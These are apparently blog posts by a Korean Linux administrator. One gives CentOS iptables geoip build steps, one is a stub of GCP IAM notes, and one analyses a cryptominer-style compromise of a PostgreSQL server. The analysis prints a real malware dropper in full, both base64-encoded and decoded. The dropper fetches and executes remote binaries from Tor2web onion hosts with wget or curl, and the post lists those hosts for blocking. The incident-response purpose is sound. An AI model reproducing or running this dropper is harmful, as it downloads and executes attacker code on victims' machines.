mkdir /root/src/

 

cd /root/src/

 

wget http://ftp.netfilter.org/pub/patch-o-matic-ng/snapshot/patch-o-matic-ng-20080521.tar.bz2

 

wget ftp://ftp.pbone.net/mirror/vault.centos.org/5.8/os/SRPMS/iptables-1.3.5-9.1.el5.src.rpm

 

rpm -ivh /rpm -ivh iptables-1.3.5-9.1.el5.src.rpm

 

cd /usr/src/redhat/SOURCES/

 

bunzip2 iptables-1.3.5.tar.bz2

 

tar -xvf iptables-1.3.5.tar 

 

ln -s /usr/src/redhat/SOURCES/iptables-1.3.5 /usr/src/iptables

 

ln -s /usr/src/kernels/`uname -r`-x86_64 /usr/src/linux

 

cd /root/src/patch-o-matic-ng-20080521

./runme --download
엔터 엔터

./runme geoip
엔터 엔터 y

 

cd /usr/src/iptables/

make

 

cp extensions/libipt_geoip.so /lib64/iptables/

 

 cd /usr/src/linux/

 

make oldconfig

make modules_prepare

mv /usr/src/linux/net/ipv4/netfilter/Makefile /usr/src/linux/net/ipv4/netfilter/Makefile.orig

 

vi /usr/src/linux/net/ipv4/netfilter/Makefile 

(열어서 아래 내용 저장)

obj-m := ipt_geoip.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
$(MAKE) -C $(KDIR) M=$(PWD) modules

 

 

make M=/usr/src/linux/net/ipv4/netfilter

 

cp /usr/src/linux/net/ipv4/netfilter/ipt_geoip.ko /lib/modules/`uname -r`/kernel/net/ipv4/netfilter/

chmod 744 /lib/modules/`uname -r`/kernel/net/ipv4/netfilter/ipt_geoip.ko

depmod -a

modprobe ipt_geoip

 

mkdir /var/geoip ; cd /var/geoip ; wget http://people.netfilter.org/peejix/geoip/tools/csv2bin-20041103.tar.gz ; tar -xvzf csv2bin-20041103.tar.gz

cd csv2bin ; make

 

그다음 https://xinet.kr/?p=2711 여기 나온대로 maxmind 로그인 후 csv 파일 다운로드

 

csv 받으면 옛날 방식의 csv로 컨버팅 해야 함

####

GeoLite2-Country-CSV.zip 파일은 기존 csv 파일과 양식이 달라서 아래와 같이 컨버팅이 필요함

wget https://geolite.maxmind.com/download/geoip/database/GeoLite2-Country-CSV.zip

unzip -o -j GeoLite2-Country-CSV.zip '*/GeoLite2-Country-Blocks*' ##국가코드 DB:csv 파일 다운로드후 압축 풀기

wget http://download.geonames.org/export/dump/countryInfo.txt ##국가코드

https://github.com/mschmitt/GeoLite2xtables 여기 들어가서 20_convert 컨버팅 하는거 다운로드 ##컨버팅 스크립트

chmod 755 20_geo_convert.pl

/usr/bin/cpan -i NetAddr::IP ##컨버팅시 perl에 use NetAddr::IP; 라는 모듈을 사용하는 대부분 설치 안돼있어서 cpan으로 설치해야함

cat GeoLite2-Country-Blocks-IPv{4,6}.csv | ./geo_convert.pl CountryInfo.txt > GeoIPCountry.csv ##컨버팅

cat ./GeoLite2-Country-Blocks-IPv{4,6}.csv | ./20_convert_geolite2  ./countryInfo.txt  > GeoIP-legacy.csv

 

csv 옛날껄로 컨버팅 한다음 

 

./csv2bin GeoIP-legacy.csv 로 컨버팅 하고 

cp -ra geoipdb.* /var/geoip/

 

이러면 완료

'job > linux' 카테고리의 다른 글

systemd: Created slice libcontainer_number_systemd_test_default.slice.  (0) 2022.07.11
gitlab - elasticsearch intergration  (0) 2021.02.16
pgsql 해킹 프로세스  (0) 2019.12.30
tls 1.1 지원 중단  (0) 2019.12.09
nginx + php-fpm 취약점  (0) 2019.10.29

IAM : 관리자가 IAM을 통하여 누가, 어느 리소스에, 무슨 작업을 할지 권한을 부여할 수 있다.

primary role : 

Cloud Shell : 

API 라이브러리에

서버 점검 요청 들어와서 확인해보니

 

sar 로 확인시 cpu 전부 사용중(전부 사용할 서버 아님)

01시 50분 01초     all     99.91      0.00      0.09      0.00      0.00      0.00
01시 52분 01초     all     99.90      0.00      0.10      0.00      0.00      0.00
01시 54분 01초     all     99.93      0.00      0.07      0.00      0.00      0.00

15279 postgres  20   0 2410m 2.3g    4 S 997.4  3.7 343927:26 rjD496                                                              

이상한 프로세스 실행돼있음을 확인     

postgres 15279     1 99 Dec05 ?        238-20:11:55 rjD496              

                        

lsof 로 확인시
rjD496  15279 postgres  cwd       DIR        8,3     4096          2 /
rjD496  15279 postgres  rtd       DIR        8,3     4096          2 /
rjD496  15279 postgres  txt   unknown                                /proc/15279/exe (readlink: No such file or directory)
rjD496  15279 postgres  DEL       REG        8,3            24408871 /var/lib/pgsql/532c82963b1166afe6297c911fdebc14
rjD496  15279 postgres  mem       REG        8,3      557    2621500 /etc/localtime
rjD496  15279 postgres   10w      REG        8,3        6   20185158 /tmp/.X11-unix/11
rjD496  15279 postgres   31u     IPv4 1194033012      0t0        TCP 서버 아이피 ->101.64.182.145:https (ESTABLISHED)

 

 

ALTER USER postgres WITH PASSWORD '123456';

ㄴpgsql 히스토리 보니 패스워드가... 굉장히 취약하다. 이게 아마 원인인듯 하고 추가로 더 점검 진행

 

-rwxr-xr-x   1 postgres postgres 1370 2017-03-22 09:51 .aliyun.sh

.aliyun.sh 라는 수상한 쉘 스크립트가 삽입돼있음

 

 

cat .aliyun.sh 
#!/bin/bash
exec &>/dev/null
echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10cnVtcHM0YzRvaHh2cTdvCmRpcj0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmZvciBpIGluIC91c3IvYmluICRkaXIgL2Rldi9zaG0gL3RtcCAvdmFyL3RtcDtkbyB0b3VjaCAkaS9pICYmIGNkICRpICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp4KCkgewpmPS9pbnQKZD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCndnZXQgLXQxIC1UMTAgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJGYgLU8kZCB8fCBjdXJsIC1tMTAgLWZzU0xrQS0gJDEkZiAtbyRkCmNobW9kICt4ICRkOyRkO3JtIC1mICRkCn0KdSgpIHsKeD0vY3JuCndnZXQgLXQxIC1UMTAgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IHx8IGN1cmwgLW0xMCAtZnNTTGtBLSAkMSR4Cn0KZm9yIGggaW4gdG9yMndlYi5pbyA0dG9yLm1sIG9uaW9uLm1uIG9uaW9uLmluLm5ldCBvbmlvbi50byBkMndlYi5vcmcgY2l2aWNsaW5rLm5ldHdvcmsgb25pb24ud3Mgb25pb24ubnogb25pb24uZ2xhc3MgdG9yMndlYi5zdQpkbwppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgp4IHRydW1wczRjNG9oeHZxN28uJGgKZWxzZQpicmVhawpmaQpkb25lCgppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgooCnUgJHQudG9yMndlYi5pbyB8fAp1ICR0LjR0b3IubWwgfHwKdSAkdC5kMndlYi5vcmcgfHwKdSAkdC5vbmlvbi5tbiB8fAp1ICR0Lm9uaW9uLmluLm5ldCB8fAp1ICR0Lm9uaW9uLnRvIHx8CnUgJHQuY2l2aWNsaW5rLm5ldHdvcmsgfHwKdSAkdC5vbmlvbi5wZXQgfHwKdSAkdC50b3Iyd2ViLnN1IHx8CnUgJHQub25pb24uZ2xhc3MgfHwKdSAkdC5vbmlvbi53cwopfGJhc2gKZmkK|base64 -d|bash

 

디코딩 해보면 아래와 같다.

 

 

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
t=trumps4c4ohxvq7o
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
for i in /usr/bin $dir /dev/shm /tmp /var/tmp;do touch $i/i && cd $i && rm -f i && break;done
x() {
f=/int
d=./$(date|md5sum|cut -f1 -d-)
wget -t1 -T10 -qU- --no-check-certificate $1$f -O$d || curl -m10 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}
u() {
x=/crn
wget -t1 -T10 -qU- -O- --no-check-certificate $1$x || curl -m10 -fsSLkA- $1$x
}
for h in tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.su
do
if ! ls /proc/$(cat /tmp/.X11-unix/00)/io; then
x trumps4c4ohxvq7o.$h
else
break
fi
done

if ! ls /proc/$(cat /tmp/.X11-unix/00)/io; then
(
u $t.tor2web.io ||
u $t.4tor.ml ||
u $t.d2web.org ||
u $t.onion.mn ||
u $t.onion.in.net ||
u $t.onion.to ||
u $t.civiclink.network ||
u $t.onion.pet ||
u $t.tor2web.su ||
u $t.onion.glass ||
u $t.onion.ws
)|bash
fi

 

스크립트 내용은

해당 스크립트가 실행된 계정의 홈디렉토리와 /usr/bin $dir /dev/shm /tmp /var/tmp 디렉토리내에 i 라는 디렉토리 생성하고

i/int 디렉토리 생성후 그 안에다 tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.su

도메인들에서 trumps4c4ohxvq7o 라는 닉네임(해커) 이 만들어놓은 파일을 다운로드 후 실행시키는 스크립트

다운로드 받는 파일은 바이너리 화 돼 있어서 뭔진 모르겠다.

 

 

아래 도메인은 방화벽에서 차단

tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.su

'job > linux' 카테고리의 다른 글

gitlab - elasticsearch intergration  (0) 2021.02.16
centos 5 iptables에 geoip 올리기(2020-03-05)  (0) 2020.03.05
tls 1.1 지원 중단  (0) 2019.12.09
nginx + php-fpm 취약점  (0) 2019.10.29
sysdig 로 해킹당한 서버 분석해보기  (0) 2019.06.20

+ Recent posts